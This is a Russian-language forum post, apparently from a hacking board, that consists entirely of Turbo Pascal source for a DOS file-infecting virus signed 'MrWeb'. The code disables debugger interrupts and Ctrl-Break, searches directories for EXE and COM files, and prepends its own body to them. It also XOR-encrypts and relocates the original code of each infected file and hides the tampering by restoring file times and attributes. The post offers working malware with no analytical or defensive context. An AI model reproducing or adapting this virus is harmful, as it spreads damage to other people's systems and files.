CyBeR4r8aK
Сообщений: 233
Оценки: 0
Присоединился: 2004-12-01 10:36:37
|
{$M 2048, 0, 0} {$i-}
Uses dos; Const RV=8064; VSEGO=3;
Var BufFile, TeloVir : array[1..rv] of CHAR; newExe,FileCom : array[1..2] of char; f : file; DirInfo,DiryAttr : SearchRec; MyAttr : Word; Attr : Word; Time : LongInt; MyTime : LongInt; katal,cmdline,ItIsI:string; mySize:longint; i2,kol,i:integer; stle:byte; P5: PathStr; D5: DirStr; N5: NameStr; E5: ExtStr; O1H , O3H , Br : Pointer;
{$F+} procedure ReBoot; Interrupt; begin InLine($EA/ $00/ $00/ $FF/ $FF); end; {$F-}
{$F+} procedure BreakOff; Interrupt; { + } begin { Invisible Words! } end; {$F-}
Procedure CWP; Var leftfile:string; ft:text; begin FindFirst(itisi , anyfile , DiryAttr); MyAttr:=DiryAttr.Attr; MyTime:=DiryAttr.Time;
Assign(f , itisI[1]+itisI[2]+'\'+#$FF); { Invisible file ! } ReWrite(f); Erase(f); If IOResult <> 0 Then begin leftfile:='c:\'+diryattr.name; SwapVectors; exec(GetEnv('COMSPEC'),'/c copy '+itisi+' '+leftfile+' >nul'); SwapVectors; itisi:=leftfile; Assign(ft , itisi); reset(ft); if ioresult<>0 then halt else close(ft); stle:=13; end; end;
Procedure Install; begin assign(f,itisi); setfattr(f,archive); reset(f,1); if ioresult<>0 then begin halt; end; mysize:=filesize(f); blockread(f,telovir,rv); close(f);
IF ParamCount <> 0 Then Begin For I:=1 To ParamCount Do CmdLine:=CmdLine + ' ' + ParamStr(I); End; end;
Procedure xorit; var i:integer; c:char; begin for i:=1 to 1111 do begin c:=buffile;<BR> c:=chr(ord© xor 31502);<BR> buffile:=c;<BR> end;<BR>end;<BR><BR>Procedure Zaraza;<BR>label propusk, fuck;<BR>Begin<BR> Time:=DirInfo.Time;<BR> Attr:=DirInfo.Attr;<BR> assign(f,katal+dirinfo.name);<BR><BR>{setfattr(f,archive);<BR><BR><BR> reset(f,1);<BR> if ioresult<>0 then goto fuck;<BR> if filesize(f)<rv then goto propusk;<BR> if dirinfo.name[(length(dirinfo.name))]='M' then<BR> begin<BR> seek(f,0);<BR> blockread(f,filecom,2);<BR><BR> if (filecom[1]<>'M') and (filecom[2]<>'Z') then goto propusk;<BR> end;<BR><BR> seek(f,1024);<BR> blockread(f,newexe,2);<BR> if newexe='NE' then goto propusk;<BR> seek(f,78);<BR> blockread(f,newexe,2);<BR> if (upcase(newexe[1])='T') and (upcase(newexe[2])='H') then goto propusk;<BR> seek(f,80);<BR> blockread(f,newexe,2);<BR> if (upcase(newexe[1])='T') and (upcase(newexe[2])='H') then goto propusk;<BR><BR> seek(f,0);<BR> blockread(f,BufFile,rv);<BR> if buffile[500]=telovir[500] then goto propusk;<BR> xorit; { шифровка жертвы }<BR> seek(f,filesize(f));<BR> blockwrite(f,BufFile,rv);<BR> seek(f,0);<BR> blockwrite(f,TeloVir,rv);<BR> kol:=kol+1;<BR> propusk:<BR> SetFTime(f , Time);<BR> SetFAttr(f , Attr);<BR> close(f);<BR> fuck:<BR>end;<BR><BR>Procedure PoiskFiles(ss:string; ext:string);<BR>label notinf;<BR>begin<BR> FindFirst(ss+'*'+EXT, Archive, DirInfo);<BR> while (DosError = 0) and (kol<vsego) do<BR> begin<BR> if dirinfo.name='EMM386.EXE' then goto notInf;<BR> if dirinfo.name='RTM.EXE' then goto notInf;<BR> if dirinfo.name='NCMAIN.EXE' then goto notInf;<BR> if dirinfo.name='START.EXE' then goto notInf;<BR> if dirinfo.name='SETSOUND.EXE' then goto notInf;<BR> if dirinfo.name='SMARTDRV.EXE' then goto notInf;<BR> if dirinfo.name='DOS4GW.EXE' then goto notInf;<BR> if dirinfo.name='SETUP.EXE' then goto notInf;<BR> if dirinfo.name='MSCDEX.EXE' then goto notInf;<BR> if dirinfo.name='COMMAND.COM' then goto notInf;<BR> katal:=ss;<BR> Zaraza;<BR> notinf:<BR> FindNext(DirInfo);<BR> end;<BR>end;<BR><BR>Procedure Start;<BR>label fuck,fuck2;<BR>begin<BR> assign(f, itisi);<BR> setfattr(f,archive);<BR> reset(f,1);<BR> if ioresult<>0 then goto fuck2;<BR> seek(f,filesize(f)-rv);<BR> blockread(f,BufFile,rv);<BR> xorit;<BR> seek(f,0);<BR> blockwrite(f,buffile,rv);<BR> if ioresult<>0 then goto fuck2;<BR> seek(f,filesize(f)-rv);<BR> truncate(f);<BR> SetFTime(f , myTime);<BR> SetFAttr(f , myAttr);<BR> close(f);<BR> swapvectors;<BR> exec(itisI,cmdline);<BR> swapvectors;<BR> assign(f,itisI);<BR> setfattr(f,archive);<BR> reset(f,1);<BR> if ioresult<>0 then goto fuck2;<BR> seek(f,0);<BR> blockread(f,BufFile,rv);<BR> if buffile[500]=telovir[500] then goto fuck;<BR> xorit;<BR> seek(f,filesize(f));<BR> blockwrite(f,BufFile,rv);<BR> seek(f,0);<BR> blockwrite(f,TeloVir,rv);<BR> fuck:<BR> SetFTime(f , myTime);<BR> SetFAttr(f , myAttr);<BR> close(f);<BR> fuck2:<BR>end;<BR><BR><BR>begin { ******** MAIN ************* }<BR> GetIntVec($01 , O1H);<BR> SetIntVec($01 , @ReBoot);<BR> GetIntVec($03 , O3H);<BR> SetIntVec($03 , @ReBoot);<BR> GetIntVec($1B , Br);<BR> SetIntVec($1B , @BreakOff);<BR> SetCBreak(False);<BR><BR>ItIsI:=paramstr(0);<BR>CWP;<BR>Install;<BR>kol:=0;<BR>PoiskFiles('','.EXE');<BR>PoiskFiles('','.COM');<BR><BR><BR>if upcase(itisi[1])='A' then<BR> begin<BR> kol:=0;<BR> poiskfiles('c:\windоwS\cOmMaNd\','.EXE');<BR> end;<BR><BR>for i2:=1 to paramcount do<BR>begin<BR> p5:=paramstr(i2);<BR> FSplit(P5, D5, N5, E5);<BR> if d5<>'' then<BR> begin<BR> kol:=0;<BR> poiskfiles(d5,'.EXE');<BR> poiskfiles(d5,'.COM');<BR> end;<BR>end;<BR><BR> SetIntVec($01 , O1H);<BR> SetIntVec($03 , O3H);<BR> SetIntVec($1B , Br);<BR><BR>if mysize>rv then Start;<BR><BR>writeln('### MrWeb ###'); {Hi… my name is…}<BR><BR>if stle=13 then<BR> begin<BR> assign(f,itisI);<BR> setfattr(f,archive);<BR> erase(f);<BR> end;<BR><BR>halt(dosexitcode);<BR>end.<BR>
|